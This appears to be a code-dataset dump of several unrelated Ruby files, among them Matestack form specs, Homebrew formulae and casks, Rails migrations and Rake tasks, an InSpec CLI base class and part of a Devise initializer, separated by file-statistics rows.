expect(page).to have_field('Integer Value from Model', checked: true)
expect(page).to have_field('Boolean Value from Model', checked: true)
expect(page).to have_field('Integer Value from Config', checked: true)
expect(page).to have_field('Boolean Value from Config', checked: true)
expect_any_instance_of(FormTestController).to receive(:expect_params)
.with(hash_including(test_model: { status: true, some_boolean_value: true, foo: true, bar: true }))
click_button "Submit me!"
end
it "can be initialized with a boolean/integer value as false" do
Object.send(:remove_const, :TestModel)
load "#{Rails.root}/app/models/test_model.rb"
class ExamplePage < Matestack::Ui::Page
def response
@test_model = TestModel.new
@test_model.status = 0
@test_model.some_boolean_value = false
matestack_form form_config do
form_checkbox id: "init-as-integer-from-model", key: :status, label: 'Integer Value from Model'
form_checkbox id: "init-as-boolean-from-model", key: :some_boolean_value, label: 'Boolean Value from Model'
form_checkbox id: "init-as-integer-from-config", key: :foo, label: 'Integer Value from Config', init: 0
form_checkbox id: "init-as-boolean-from-config", key: :bar, label: 'Boolean Value from Config', init: false
button "Submit me!"
toggle show_on: 'success', id: 'async-page' do
plain 'Success'
end
end
end
def form_config
return {
for: @test_model,
method: :post,
path: checkbox_success_form_test_path(id: 42),
success: {
emit: :success
}
}
end
end
visit "/example"
expect(page).to have_field('Integer Value from Model', checked: false)
expect(page).to have_field('Boolean Value from Model', checked: false)
expect(page).to have_field('Integer Value from Config', checked: false)
expect(page).to have_field('Boolean Value from Config', checked: false)
expect_any_instance_of(FormTestController).to receive(:expect_params)
.with(hash_including(test_model: { status: false, some_boolean_value: false, foo: false, bar: false }))
click_button "Submit me!"
end
it "can be initialized with a boolean/integer value as null" do
Object.send(:remove_const, :TestModel)
load "#{Rails.root}/app/models/test_model.rb"
class ExamplePage < Matestack::Ui::Page
def response
@test_model = TestModel.new
matestack_form form_config do
form_checkbox id: "init-as-integer-from-model", key: :status, label: 'Integer Value from Model'
form_checkbox id: "init-as-boolean-from-model", key: :some_boolean_value, label: 'Boolean Value from Model'
form_checkbox id: "init-as-integer-from-config", key: :foo, label: 'Integer Value from Config' #, init: 0
form_checkbox id: "init-as-boolean-from-config", key: :bar, label: 'Boolean Value from Config' #, init: false
button "Submit me!"
toggle show_on: 'success', id: 'async-page' do
plain 'Success'
end
end
end
def form_config
return {
for: @test_model,
method: :post,
path: checkbox_success_form_test_path(id: 42),
success: {
emit: :success
}
}
end
end
visit "/example"
expect(page).to have_field('Integer Value from Model', checked: false)
expect(page).to have_field('Boolean Value from Model', checked: false)
expect(page).to have_field('Integer Value from Config', checked: false)
expect(page).to have_field('Boolean Value from Config', checked: false)
expect_any_instance_of(FormTestController).to receive(:expect_params)
.with(hash_including(test_model: { status: nil, some_boolean_value: nil, foo: nil, bar: nil }))
click_button "Submit me!"
end
end
end
| 37.837607 | 163 | 0.621038 |
1dbd0eff459feed4e3310f74c58bb5b478e79967 | 2,747 | class VampPluginSdk < Formula
desc "Audio processing plugin system sdk"
homepage "https://www.vamp-plugins.org/"
# curl fails to fetch upstream source, using Debian's instead
url "https://deb.debian.org/debian/pool/main/v/vamp-plugin-sdk/vamp-plugin-sdk_2.10.0.orig.tar.gz"
mirror "https://code.soundsoftware.ac.uk/attachments/download/2691/vamp-plugin-sdk-2.10.0.tar.gz"
sha256 "aeaf3762a44b148cebb10cde82f577317ffc9df2720e5445c3df85f3739ff75f"
head "https://code.soundsoftware.ac.uk/hg/vamp-plugin-sdk", using: :hg
# code.soundsoftware.ac.uk has SSL certificate verification issues, so we're
# using Debian in the interim time. If/when the `stable` URL returns to
# code.soundsoftware.ac.uk, the previous `livecheck` block should be
# reinstated: https://github.com/Homebrew/homebrew-core/pull/75104
livecheck do
url "https://deb.debian.org/debian/pool/main/v/vamp-plugin-sdk/"
regex(/href=.*?vamp-plugin-sdk[._-]v?(\d+(?:\.\d+)+)\.orig\.t/i)
end
bottle do
sha256 cellar: :any, arm64_big_sur: "aa6184c469e855de77725477097a0c6998a04d4753bc852aa756123edaac446c"
sha256 cellar: :any, big_sur: "21e590739905e6794c11e4f7037adfa6fa83da4d7c2ab2b083c43563449d8a45"
sha256 cellar: :any, catalina: "b31926ceedbd7f79dc9783da8092b543c549d800705d9d8e8d8d0fd451d093de"
sha256 cellar: :any, mojave: "ee8d69d0b8c72e3e9ed1c79bfa7ca6650d10e36a2b110215b3d803f841ae2ec0"
sha256 cellar: :any, high_sierra: "834812edc745c782511f1397fb5e3e6995b9fd25b42426ec784cd5610dbc9eb4"
sha256 cellar: :any_skip_relocation, x86_64_linux: "1d07d32893d2d362347c137dfb133d7d2bd0ef0c5815b618f5cf2780de28f40d"
end
depends_on "automake" => :build
depends_on "pkg-config" => :build
depends_on "flac"
depends_on "libogg"
depends_on "libsndfile"
def install
system "./configure", *std_configure_args
system "make", "install"
end
test do
(testpath/"test.cpp").write <<~EOS
#include "vamp-sdk/Plugin.h"
#include <vamp-sdk/PluginAdapter.h>
class MyPlugin : public Vamp::Plugin { };
const VampPluginDescriptor *
vampGetPluginDescriptor(unsigned int version, unsigned int index) { return NULL; }
EOS
flags = ["-Wl,-dylib"]
on_linux { flags = ["-shared", "-fPIC"] }
system ENV.cxx, "test.cpp", "-I#{include}", *flags, "-o", shared_library("test")
assert_match "Usage:", shell_output("#{bin}/vamp-rdf-template-generator 2>&1", 2)
cp "#{lib}/vamp/vamp-example-plugins.so", testpath/shared_library("vamp-example-plugins")
ENV["VAMP_PATH"]=testpath
assert_match "amplitudefollower", shell_output("#{bin}/vamp-simple-host -l")
end
end
| 45.032787 | 122 | 0.709137 |
abe5eb455bb46906a3712952cbf453e230b6e414 | 344 | module Steroids
module Errors
class UnauthorizedError < Steroids::Base::Error
def initialize(options = {})
options[:message] ||= 'You shall not pass! (Unauthorized)'
super(
{
status: :unauthorized,
key: :unauthorized
}.merge(options)
)
end
end
end
end
| 21.5 | 66 | 0.546512 |
e81c3c45935b908837f38be8bf4475f4c5f6a9f2 | 1,503 | cask 'slack-beta' do
version '3.3.7'
sha256 'a4bef0aae5c8f7a195b3c25d85e26f197c39c11f64ca0eb06ab12946d53be80e'
# downloads.slack-edge.com was verified as official when first introduced to the cask
url "https://downloads.slack-edge.com/mac_releases_beta/Slack-#{version}-macOS.zip"
name 'Slack'
homepage 'https://slack.com/beta/osx'
auto_updates true
conflicts_with cask: 'slack'
app 'Slack.app'
uninstall quit: 'com.tinyspeck.slackmacgap'
zap trash: [
'~/Library/Application Scripts/com.tinyspeck.slackmacgap',
'~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments/com.tinyspeck.slackmacgap.sfl*',
'~/Library/Application Support/Slack',
'~/Library/Caches/com.tinyspeck.slackmacgap',
'~/Library/Caches/com.tinyspeck.slackmacgap.ShipIt',
'~/Library/Containers/com.tinyspeck.slackmacgap',
'~/Library/Containers/com.tinyspeck.slackmacgap.SlackCallsService',
'~/Library/Cookies/com.tinyspeck.slackmacgap.binarycookies',
'~/Library/Group Containers/*.com.tinyspeck.slackmacgap',
'~/Library/Group Containers/*.slack',
'~/Library/Preferences/com.tinyspeck.slackmacgap.helper.plist',
'~/Library/Preferences/com.tinyspeck.slackmacgap.plist',
'~/Library/Saved Application State/com.tinyspeck.slackmacgap.savedState',
]
end
| 45.545455 | 157 | 0.679973 |
bfc2b14faf0ef864d4974921b6bd031950b489c8 | 265 | # frozen_string_literal: true
class RemoveTrackExternalRightClicks < ActiveRecord::Migration[5.2]
def up
execute "DELETE FROM site_settings WHERE name = 'track_external_right_clicks'"
end
def down
raise ActiveRecord::IrreversibleMigration
end
end
| 22.083333 | 82 | 0.784906 |
e9ea9e2aae7f9c0e94c7101f3eafaf8934af23e3 | 1,030 | class AddConstraintsToTaggings < ActiveRecord::Migration
def up
# make tag_id NOT NULL & add foreign key constraint
# index on tag_id already in place
execute <<-SQL
WITH taggings_to_delete AS (
SELECT * FROM taggings
EXCEPT
SELECT taggings.*
FROM taggings
JOIN tags
ON taggings.tag_id = tags.id
)
DELETE FROM taggings t
USING taggings_to_delete td
WHERE t.id = td.id
SQL
change_column :taggings,
:tag_id, :integer, null: false
add_foreign_key :taggings,
:tags, {
column: :tag_id,
dependent: :delete
}
# make timestamps NOT NULL
execute "UPDATE taggings SET created_at = NOW() WHERE created_at IS NULL"
change_column :taggings, :created_at, :datetime, null: false
end
def down
change_column :taggings,
:tag_id, :integer, null: true
remove_foreign_key :taggings, column: :tag_id
change_column :taggings,
:created_at, :datetime, null: true
end
end
| 25.121951 | 77 | 0.642718 |
bb3cde6787f3563143c903a0fefe1b40b5fb54f4 | 928 | # Fact: operatingsystemrelease
#
# Purpose: Returns the release of the operating system.
#
# Resolution:
# Uses the release key of the os structured hash, which itself
# operates on the following conditions:
#
# On RedHat derivatives, returns their `/etc/<variant>-release` file.
# On Debian, returns `/etc/debian_version`.
# On Ubuntu, parses `/etc/lsb-release` for the release version.
# On Suse, derivatives, parses `/etc/SuSE-release` for a selection of version
# information.
# On Slackware, parses `/etc/slackware-version`.
# On Amazon Linux, returns the `lsbdistrelease` value.
# On Mageia, parses `/etc/mageia-release` for the release version.
#
# On all remaining systems, returns the kernelrelease fact's value.
#
# Caveats:
#
Facter.add(:operatingsystemrelease) do
confine do
!Facter.value("os")["release"]["full"].nil?
end
setcode { Facter.value("os")["release"]["full"].to_s }
end
| 30.933333 | 79 | 0.712284 |
61dcafd5195b34fb224d29c3c85a80340dab4614 | 418 | require 'rails_helper'
RSpec.describe WatchingsController, type: :controller do
describe "GET 'show' without login" do
it 'returns http redirect' do
get 'show'
expect(response).to redirect_to('/')
end
end
describe "GET 'show' with login" do
it 'returns http success' do
sign_in FactoryGirl.create(:alice)
get 'show'
expect(response).to be_success
end
end
end
| 19 | 56 | 0.665072 |
287c5112cbd75a157409ba099081762767d8269a | 355 | cask 'font-keania-one' do
version :latest
sha256 :no_check
# github.com/google/fonts was verified as official when first introduced to the cask
url 'https://github.com/google/fonts/raw/master/ofl/keaniaone/KeaniaOne-Regular.ttf'
name 'Keania One'
homepage 'http://www.google.com/fonts/specimen/Keania+One'
font 'KeaniaOne-Regular.ttf'
end
| 29.583333 | 86 | 0.75493 |
b9f5163308a4e0a8708cee9d3406f4158efef2b8 | 160 | module Rediska
Redis = ::Redis
class Configuration
attr_accessor :database, :namespace
def initialize
@database = :memory
end
end
end
| 13.333333 | 39 | 0.66875 |
21f00783abc6361d00c246627f994c483a544e86 | 3,183 | require 'csv'
# This class holds a collection of rules relating to TransferClaims which govern
# the fee name, the validity of the data, and the
# case allocation type. The rules are read in from a CSV file, instantiated into
# TransferDataItem objects and then added to this collection.
#
# Because reading the CSV file is a relatively expensive operation, and the data is
# static, this is a singleton class which gets instantiated once and once only.
#
# To get a reference to the object, call .instance rather than .new.
#
module Claim
class TransferBrainDataItemCollection
include Singleton
include TransferDataItemDelegatable
def initialize
load_data_items
@collection_hash = construct_collection_hash
end
data_item_delegate :transfer_fee_full_name, :allocation_type, :bill_scenario, :ppe_required, :days_claimable
def to_h
@collection_hash
end
def to_json(opts = nil)
@collection_hash.to_json(opts)
end
def detail_valid?(detail)
return false if detail.unpopulated?
data_item = data_item_for(detail)
return false if data_item.nil?
data_item[:validity]
end
def valid_transfer_stage_ids(litigator_type, elected_case)
transfer_stages = @collection_hash.fetch(litigator_type).fetch(elected_case)
ids = []
transfer_stages.each do |transfer_stage_id, result_hash|
result_hash.each_value do |result|
ids << transfer_stage_id if result[:validity] == true
end
end
ids.uniq.sort
end
def valid_case_conclusion_ids(litigator_type, elected_case, transfer_stage_id)
result = @collection_hash.fetch(litigator_type).fetch(elected_case).fetch(transfer_stage_id).keys
result = TransferBrain.case_conclusion_ids if result == ['*']
result.sort
end
def data_item_for(detail)
specific_mapping_for(detail) || wildcard_mapping_for(detail)
end
private
def specific_mapping_for(detail)
@collection_hash.dig(
detail.litigator_type,
detail.elected_case,
detail.transfer_stage_id,
detail.case_conclusion_id
)
end
def wildcard_mapping_for(detail)
@collection_hash.dig(
detail.litigator_type,
detail.elected_case,
detail.transfer_stage_id,
'*'
)
end
def read_csv
file = File.join(Rails.root, 'config', 'transfer_brain_data_items.csv')
csv_content = File.read(file)
CSV.parse(csv_content, headers: true)
end
def parse_data_items(data_items)
data_items.each_with_object([]) do |data_item, arr|
arr << TransferBrainDataItem.new(data_item)
end
end
def load_data_items
csv = read_csv
attributes = csv.headers.map(&:to_sym)
klass = Struct.new('DataItem', *attributes)
data_items = csv.each_with_object([]) do |row, arr|
arr << klass.new(*row.to_hash.values)
end
@data_items = parse_data_items(data_items)
end
def construct_collection_hash
@data_items.each_with_object({}) do |item, collection_hash|
collection_hash.deep_merge!(item.to_h)
end
end
end
end
| 28.419643 | 112 | 0.696513 |
ff30862efa6a3ff1b31ceadee56af535c2cfb727 | 287 | FactoryGirl.define do
factory :user do |u|
u.email { Faker::Internet.email }
u.display_name { Faker::Name.name }
u.password { Faker::Internet.password(8) }
factory :invalid_user do |u|
u.display_name { nil }
after(:build) { |u| u.valid? }
end
end
end | 23.916667 | 46 | 0.620209 |
260ee700e9d20c63d47b780cb3ffe33d19d4c38e | 9,930 | # encoding: UTF-8
# $HeadURL$
# $Id$
#
# Copyright (c) 2009-2012 by Public Library of Science, a non-profit corporation
# http://www.plos.org/
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
namespace :db do
namespace :articles do
desc "Bulk-load articles from Crossref API"
task :import => :environment do |t, args|
# only run if configuration option :import
case CONFIG[:import]
when "member", "member_sample"
member = Publisher.pluck(:crossref_id).join(",")
sample = ENV['SAMPLE']
when "all", "sample"
member = ENV['MEMBER']
sample = ENV['SAMPLE']
when "sample", "member_sample"
sample ||= 20
else
puts "CrossRef API import not configured"
exit
end
options = { from_update_date: ENV['FROM_UPDATE_DATE'],
until_update_date: ENV['UNTIL_UPDATE_DATE'],
from_pub_date: ENV['FROM_PUB_DATE'],
until_pub_date: ENV['UNTIL_PUB_DATE'],
type: ENV['TYPE'],
member: member,
issn: ENV['ISSN'],
sample: sample }
import = Import.new(options)
number = ENV['SAMPLE'] || import.total_results
import.queue_article_import if number.to_i > 0
puts "Started import of #{number} articles in the background..."
end
desc "Bulk-load articles from standard input"
task :load => :environment do
input = []
$stdin.each_line { |line| input << ActiveSupport::Multibyte::Unicode.tidy_bytes(line) } unless $stdin.tty?
number = input.length
if number > 0
# import in batches of 1,000 articles
input.each_slice(1000) do |batch|
import = Import.new(file: batch)
import.queue_article_import
end
puts "Started import of #{number} articles in the background..."
else
puts "No articles to import."
end
end
desc "Seed sample articles"
task :seed => :environment do
before = Article.count
ENV['ARTICLES'] = "true"
Rake::Task['db:seed'].invoke
after = Article.count
puts "Seeded #{after - before} articles"
end
desc "Delete articles provided via standard input"
task :delete => :environment do
puts "Reading #{CONFIG[:uid]}s from standard input..."
valid = []
invalid = []
missing = []
deleted = []
while (line = STDIN.gets)
line = ActiveSupport::Multibyte::Unicode.tidy_bytes(line)
raw_uid, raw_other = line.strip.split(" ", 2)
uid = Article.from_uri(raw_uid.strip).values.first
if Article.validate_format(uid)
valid << [uid]
else
puts "Ignoring #{CONFIG[:uid]}: #{raw_uid}"
invalid << [raw_uid]
end
end
puts "Read #{valid.size} valid entries; ignored #{invalid.size} invalid entries"
if valid.size > 0
valid.each do |uid|
existing = Article.where(CONFIG[:uid].to_sym => uid).first
if existing
existing.destroy
deleted << uid
else
missing << uid
end
end
end
puts "Deleted #{deleted.size} articles, ignored #{missing.size} articles"
end
desc "Delete all articles"
task :delete_all => :environment do
before = Article.count
Article.destroy_all unless Rails.env.production?
after = Article.count
puts "Deleted #{before - after} articles, #{after} articles remaining"
end
desc "Add missing sources"
task :add_sources, [:date] => :environment do |t, args|
if args.date.nil?
puts "Date in format YYYY-MM-DD required"
exit
end
articles = Article.where("published_on >= ?", args.date)
if args.extras.empty?
sources = Source.all
else
sources = Source.where("name in (?)", args.extras)
end
retrieval_statuses = []
articles.each do |article|
sources.each do |source|
retrieval_status = RetrievalStatus.find_or_initialize_by_article_id_and_source_id(article.id, source.id, :scheduled_at => Time.zone.now)
if retrieval_status.new_record?
retrieval_status.save!
retrieval_statuses << retrieval_status
end
end
end
puts "#{retrieval_statuses.count} retrieval status(es) added for #{sources.count} source(s) and #{articles.count} articles"
end
desc "Remove all HTML and XML tags from article titles"
task :sanitize_title => :environment do
Article.all.each { |article| article.save }
puts "#{Article.count} article titles sanitized"
end
desc "Add publication year, month and day"
task :date_parts => :environment do
begin
start_date = Date.parse(ENV['START_DATE']) if ENV['START_DATE']
rescue => e
# raises error if invalid date supplied
puts "Error: #{e.message}"
exit
end
if start_date
puts "Adding date parts for all articles published since #{start_date}."
articles = Article.where("published_on >= ?", start_date)
else
articles = Article.all
end
articles.each do |article|
article.update_date_parts
article.save
end
puts "Date parts for #{articles.count} articles added"
end
end
namespace :alerts do
desc "Resolve all alerts with level INFO and WARN"
task :resolve => :environment do
Alert.unscoped {
before = Alert.count
Alert.where("level < 3").update_all(resolved: true)
after = Alert.count
puts "Deleted #{before - after} resolved alerts, #{after} unresolved alerts remaining"
}
end
desc "Delete all resolved alerts"
task :delete => :environment do
Alert.unscoped {
before = Alert.count
Alert.where(:unresolved => false).delete_all
after = Alert.count
puts "Deleted #{before - after} resolved alerts, #{after} unresolved alerts remaining"
}
end
end
namespace :api_requests do
desc "Delete API requests, keeping last 10,000 requests"
task :delete => :environment do
before = ApiRequest.count
request = ApiRequest.order("created_at DESC").offset(10000).first
unless request.nil?
ApiRequest.where("created_at <= ?", request.created_at).delete_all
end
after = ApiRequest.count
puts "Deleted #{before - after} API requests, #{after} API requests remaining"
end
end
namespace :api_responses do
desc "Delete all API responses older than 24 hours"
task :delete => :environment do
before = ApiResponse.count
ApiResponse.where("created_at < ?", Time.zone.now - 1.day).delete_all
after = ApiResponse.count
puts "Deleted #{before - after} API responses, #{after} API responses remaining"
end
end
namespace :sources do
desc "Activate sources"
task :activate => :environment do |t, args|
if args.extras.empty?
sources = Source.inactive
else
sources = Source.inactive.where("name in (?)", args.extras)
end
if sources.empty?
puts "No inactive source found."
exit
end
sources.each do |source|
source.activate
if source.waiting?
puts "Source #{source.display_name} has been activated and is now waiting."
else
puts "Source #{source.display_name} could not be activated."
end
end
end
desc "Inactivate sources"
task :inactivate => :environment do |t, args|
if args.extras.empty?
sources = Source.active
else
sources = Source.active.where("name in (?)", args.extras)
end
if sources.empty?
puts "No active source found."
exit
end
sources.each do |source|
source.inactivate
if source.inactive?
puts "Source #{source.display_name} has been inactivated."
else
puts "Source #{source.display_name} could not be inactivated."
end
end
end
desc "Install sources"
task :install => :environment do |t, args|
if args.extras.empty?
sources = Source.available
else
sources = Source.available.where("name in (?)", args.extras)
end
if sources.empty?
puts "No available source found."
exit
end
sources.each do |source|
source.install
unless source.available?
puts "Source #{source.display_name} has been installed."
else
puts "Source #{source.display_name} could not be installed."
end
end
end
desc "Uninstall sources"
task :uninstall => :environment do |t, args|
if args.extras.empty?
puts "No source name provided."
exit
else
sources = Source.installed.where("name in (?)", args.extras)
end
if sources.empty?
puts "No installed source found."
exit
end
sources.each do |source|
source.uninstall
if source.available?
puts "Source #{source.display_name} has been uninstalled."
elsif source.retired?
puts "Source #{source.display_name} has been retired."
else
puts "Source #{source.display_name} could not be uninstalled."
end
end
end
end
end
| 29.909639 | 146 | 0.612487 |
6a8911bc7534612503c82ebd770bedd8deb16561 | 243 | module ApplicationHelper
# Returns the full title on a per-page basis.
def full_title(page_title = '')
base_title = "道具管理サービス"
if page_title.empty?
base_title
else
page_title + " | " + base_title
end
end
end
| 18.692308 | 47 | 0.650206 |
18e792db024638260156c68bc089e98e6912d1f3 | 9,685 | # encoding: utf-8
# author: Christoph Hartmann
# author: Dominik Richter
require 'thor'
require 'inspec/log'
require 'inspec/profile_vendor'
require 'inspec/ui'
# Allow end of options during array type parsing
# https://github.com/erikhuda/thor/issues/631
class Thor::Arguments
def parse_array(_name)
return shift if peek.is_a?(Array)
array = []
while current_is_value?
break unless @parsing_options
array << shift
end
array
end
end
module Inspec
class BaseCLI < Thor
class << self
attr_accessor :inspec_cli_command
end
# https://github.com/erikhuda/thor/issues/244
def self.exit_on_failure?
true
end
def self.target_options # rubocop:disable MethodLength
option :target, aliases: :t, type: :string,
desc: 'Simple targeting option using URIs, e.g. ssh://user:pass@host:port'
option :backend, aliases: :b, type: :string,
desc: 'Choose a backend: local, ssh, winrm, docker.'
option :host, type: :string,
desc: 'Specify a remote host which is tested.'
option :port, aliases: :p, type: :numeric,
desc: 'Specify the login port for a remote scan.'
option :user, type: :string,
desc: 'The login user for a remote scan.'
option :password, type: :string, lazy_default: -1,
desc: 'Login password for a remote scan, if required.'
option :enable_password, type: :string, lazy_default: -1,
desc: 'Password for enable mode on Cisco IOS devices.'
option :key_files, aliases: :i, type: :array,
desc: 'Login key or certificate file for a remote scan.'
option :path, type: :string,
desc: 'Login path to use when connecting to the target (WinRM).'
option :sudo, type: :boolean,
desc: 'Run scans with sudo. Only activates on Unix and non-root user.'
option :sudo_password, type: :string, lazy_default: -1,
desc: 'Specify a sudo password, if it is required.'
option :sudo_options, type: :string,
desc: 'Additional sudo options for a remote scan.'
option :sudo_command, type: :string,
desc: 'Alternate command for sudo.'
option :shell, type: :boolean,
desc: 'Run scans in a subshell. Only activates on Unix.'
option :shell_options, type: :string,
desc: 'Additional shell options.'
option :shell_command, type: :string,
desc: 'Specify a particular shell to use.'
option :ssl, type: :boolean,
desc: 'Use SSL for transport layer encryption (WinRM).'
option :self_signed, type: :boolean,
desc: 'Allow remote scans with self-signed certificates (WinRM).'
option :winrm_transport, type: :string, default: 'negotiate',
desc: 'Specify which transport to use, defaults to negotiate (WinRM).'
option :winrm_disable_sspi, type: :boolean,
desc: 'Whether to use disable sspi authentication, defaults to false (WinRM).'
option :winrm_basic_auth, type: :boolean,
desc: 'Whether to use basic authentication, defaults to false (WinRM).'
option :config, type: :string,
desc: 'Read configuration from JSON file (`-` reads from stdin).'
option :json_config, type: :string, hide: true
option :proxy_command, type: :string,
desc: 'Specifies the command to use to connect to the server'
option :bastion_host, type: :string,
desc: 'Specifies the bastion host if applicable'
option :bastion_user, type: :string,
desc: 'Specifies the bastion user if applicable'
option :bastion_port, type: :string,
desc: 'Specifies the bastion port if applicable'
option :insecure, type: :boolean, default: false,
desc: 'Disable SSL verification on select targets'
option :target_id, type: :string,
desc: 'Provide a ID which will be included on reports'
end
def self.profile_options
option :profiles_path, type: :string,
desc: 'Folder which contains referenced profiles.'
option :vendor_cache, type: :string,
desc: 'Use the given path for caching dependencies. (default: ~/.inspec/cache)'
end
def self.exec_options
target_options
profile_options
option :controls, type: :array,
desc: 'A list of control names to run, or a list of /regexes/ to match against control names. Ignore all other tests.'
option :reporter, type: :array,
banner: 'one two:/output/file/path',
desc: 'Enable one or more output reporters: cli, documentation, html, progress, json, json-min, json-rspec, junit, yaml'
option :attrs, type: :array,
desc: 'Load one or more input files, a YAML file with values for the profile to use'
option :create_lockfile, type: :boolean,
desc: 'Write out a lockfile based on this execution (unless one already exists)'
option :backend_cache, type: :boolean,
desc: 'Allow caching for backend command output. (default: true)'
option :show_progress, type: :boolean,
desc: 'Show progress while executing tests.'
option :distinct_exit, type: :boolean, default: true,
desc: 'Exit with code 101 if any tests fail, and 100 if any are skipped (default). If disabled, exit 0 on skips and 1 for failures.'
end
def self.format_platform_info(params: {}, indent: 0, color: 39)
str = ''
params.each { |item, info|
data = info
# Format Array for better output if applicable
data = data.join(', ') if data.is_a?(Array)
# Do not output fields of data is missing ('unknown' is fine)
next if data.nil?
data = "\e[1m\e[#{color}m#{data}\e[0m"
str << format("#{' ' * indent}%-10s %s\n", item.to_s.capitalize + ':', data)
}
str
end
# These need to be public methods on any BaseCLI instance,
# but Thor interprets all methods as subcommands. The no_commands block
# treats them as regular methods.
no_commands do
def ui
return @ui if defined?(@ui)
# Make a new UI object, respecting context
if options[:color].nil?
enable_color = true # If the command does not support the color option, default to on
else
enable_color = options[:color]
end
# UI will probe for TTY if nil - just send the raw option value
enable_interactivity = options[:interactive]
@ui = Inspec::UI.new(color: enable_color, interactive: enable_interactivity)
end
# Rationale: converting this to attr_writer breaks Thor
def ui=(new_ui) # rubocop: disable Style/TrivialAccessors
@ui = new_ui
end
def mark_text(text)
# TODO: - deprecate, call cli.ui directly
# Note that this one doesn't automatically print
ui.emphasis(text, print: false)
end
def headline(title)
# TODO: - deprecate, call cli.ui directly
ui.headline(title)
end
def li(entry)
# TODO: - deprecate, call cli.ui directly
ui.list_item(entry)
end
def plain_text(msg)
# TODO: - deprecate, call cli.ui directly
ui.plain(msg + "\n")
end
def exit(code)
# TODO: - deprecate, call cli.ui directly
ui.exit code
end
end
private
def suppress_log_output?(opts)
return false if opts['reporter'].nil?
match = %w{json json-min json-rspec json-automate junit html yaml documentation progress} & opts['reporter'].keys
unless match.empty?
match.each do |m|
# check to see if we are outputting to stdout
return true if opts['reporter'][m]['stdout'] == true
end
end
false
end
def diagnose(_ = nil)
config.diagnose
end
def config
@config ||= Inspec::Config.new(options) # 'options' here is CLI opts from Thor
end
# get the log level
# DEBUG < INFO < WARN < ERROR < FATAL < UNKNOWN
def get_log_level(level)
valid = %w{debug info warn error fatal}
if valid.include?(level)
l = level
else
l = 'info'
end
Logger.const_get(l.upcase)
end
def pretty_handle_exception(exception)
case exception
when Inspec::Error
$stderr.puts exception.message
exit(1)
else
raise exception
end
end
def vendor_deps(path, opts)
profile_path = path || Dir.pwd
profile_vendor = Inspec::ProfileVendor.new(profile_path)
if (profile_vendor.cache_path.exist? || profile_vendor.lockfile.exist?) && !opts[:overwrite]
puts 'Profile is already vendored. Use --overwrite.'
return false
end
profile_vendor.vendor!
puts "Dependencies for profile #{profile_path} successfully vendored to #{profile_vendor.cache_path}"
rescue StandardError => e
pretty_handle_exception(e)
end
def configure_logger(o)
#
# TODO(ssd): This is a bit gross, but this configures the
# logging singleton Inspec::Log. Eventually it would be nice to
# move internal debug logging to use this logging singleton.
#
loc = if o['log_location']
o['log_location']
elsif suppress_log_output?(o)
STDERR
else
STDOUT
end
Inspec::Log.init(loc)
Inspec::Log.level = get_log_level(o['log_level'])
o[:logger] = Logger.new(loc)
# output json if we have activated the json formatter
if o['log-format'] == 'json'
o[:logger].formatter = Logger::JSONFormatter.new
end
o[:logger].level = get_log_level(o['log_level'])
end
end
end
| 34.838129 | 141 | 0.635312 |
b91d6f4e35d011f75ec7fa54af50684caf1871e2 | 15,145 | # frozen_string_literal: true
# Assuming you have not yet modified this file, each configuration option below
# is set to its default value. Note that some are commented out while others
# are not: uncommented lines are intended to protect your configuration from
# breaking changes in upgrades (i.e., in the event that future versions of
# Devise change the default values for those options).
#
# Use this hook to configure devise mailer, warden hooks and so forth.
# Many of these configuration options can be set straight in your model.
Devise.setup do |config|
# The secret key used by Devise. Devise uses this key to generate
# random tokens. Changing this key will render invalid all existing
# confirmation, reset password and unlock tokens in the database.
# Devise will use the `secret_key_base` as its `secret_key`
# by default. You can change it below and use your own secret key.
# config.secret_key = 'ea0786ea1b140dd47d634869b6d4b83ac3bb59ffa4972f57592c6aa9be66ce4e2ca9f7306d811f817dbd8d114f355408c7824879f9bb8be46412329faa7d80a5'
# ==> Controller configuration
# Configure the parent class to the devise controllers.
# config.parent_controller = 'DeviseController'
# ==> Mailer Configuration
# Configure the e-mail address which will be shown in Devise::Mailer,
# note that it will be overwritten if you use your own mailer class
# with default "from" parameter.
config.mailer_sender = '[email protected]'
# Configure the class responsible to send e-mails.
# config.mailer = 'Devise::Mailer'
# Configure the parent class responsible to send e-mails.
# config.parent_mailer = 'ActionMailer::Base'
# ==> ORM configuration
# Load and configure the ORM. Supports :active_record (default) and
# :mongoid (bson_ext recommended) by default. Other ORMs may be
# available as additional gems.
require 'devise/orm/active_record'
# ==> Configuration for any authentication mechanism
# Configure which keys are used when authenticating a user. The default is
# just :email. You can configure it to use [:username, :subdomain], so for
# authenticating a user, both parameters are required. Remember that those
# parameters are used only when authenticating and not when retrieving from
# session. If you need permissions, you should implement that in a before filter.
# You can also supply a hash where the value is a boolean determining whether
# or not authentication should be aborted when the value is not present.
# config.authentication_keys = [:email]
# Configure parameters from the request object used for authentication. Each entry
# given should be a request method and it will automatically be passed to the
# find_for_authentication method and considered in your model lookup. For instance,
# if you set :request_keys to [:subdomain], :subdomain will be used on authentication.
# The same considerations mentioned for authentication_keys also apply to request_keys.
# config.request_keys = []
# Configure which authentication keys should be case-insensitive.
# These keys will be downcased upon creating or modifying a user and when used
# to authenticate or find a user. Default is :email.
config.case_insensitive_keys = [:email]
# Configure which authentication keys should have whitespace stripped.
# These keys will have whitespace before and after removed upon creating or
# modifying a user and when used to authenticate or find a user. Default is :email.
config.strip_whitespace_keys = [:email]
# Tell if authentication through request.params is enabled. True by default.
# It can be set to an array that will enable params authentication only for the
# given strategies, for example, `config.params_authenticatable = [:database]` will
# enable it only for database (email + password) authentication.
# config.params_authenticatable = true
# Tell if authentication through HTTP Auth is enabled. False by default.
# It can be set to an array that will enable http authentication only for the
# given strategies, for example, `config.http_authenticatable = [:database]` will
# enable it only for database authentication.
# For API-only applications to support authentication "out-of-the-box", you will likely want to
# enable this with :database unless you are using a custom strategy.
# The supported strategies are:
# :database = Support basic authentication with authentication key + password
# config.http_authenticatable = false
# If 401 status code should be returned for AJAX requests. True by default.
# config.http_authenticatable_on_xhr = true
# The realm used in Http Basic Authentication. 'Application' by default.
# config.http_authentication_realm = 'Application'
# It will change confirmation, password recovery and other workflows
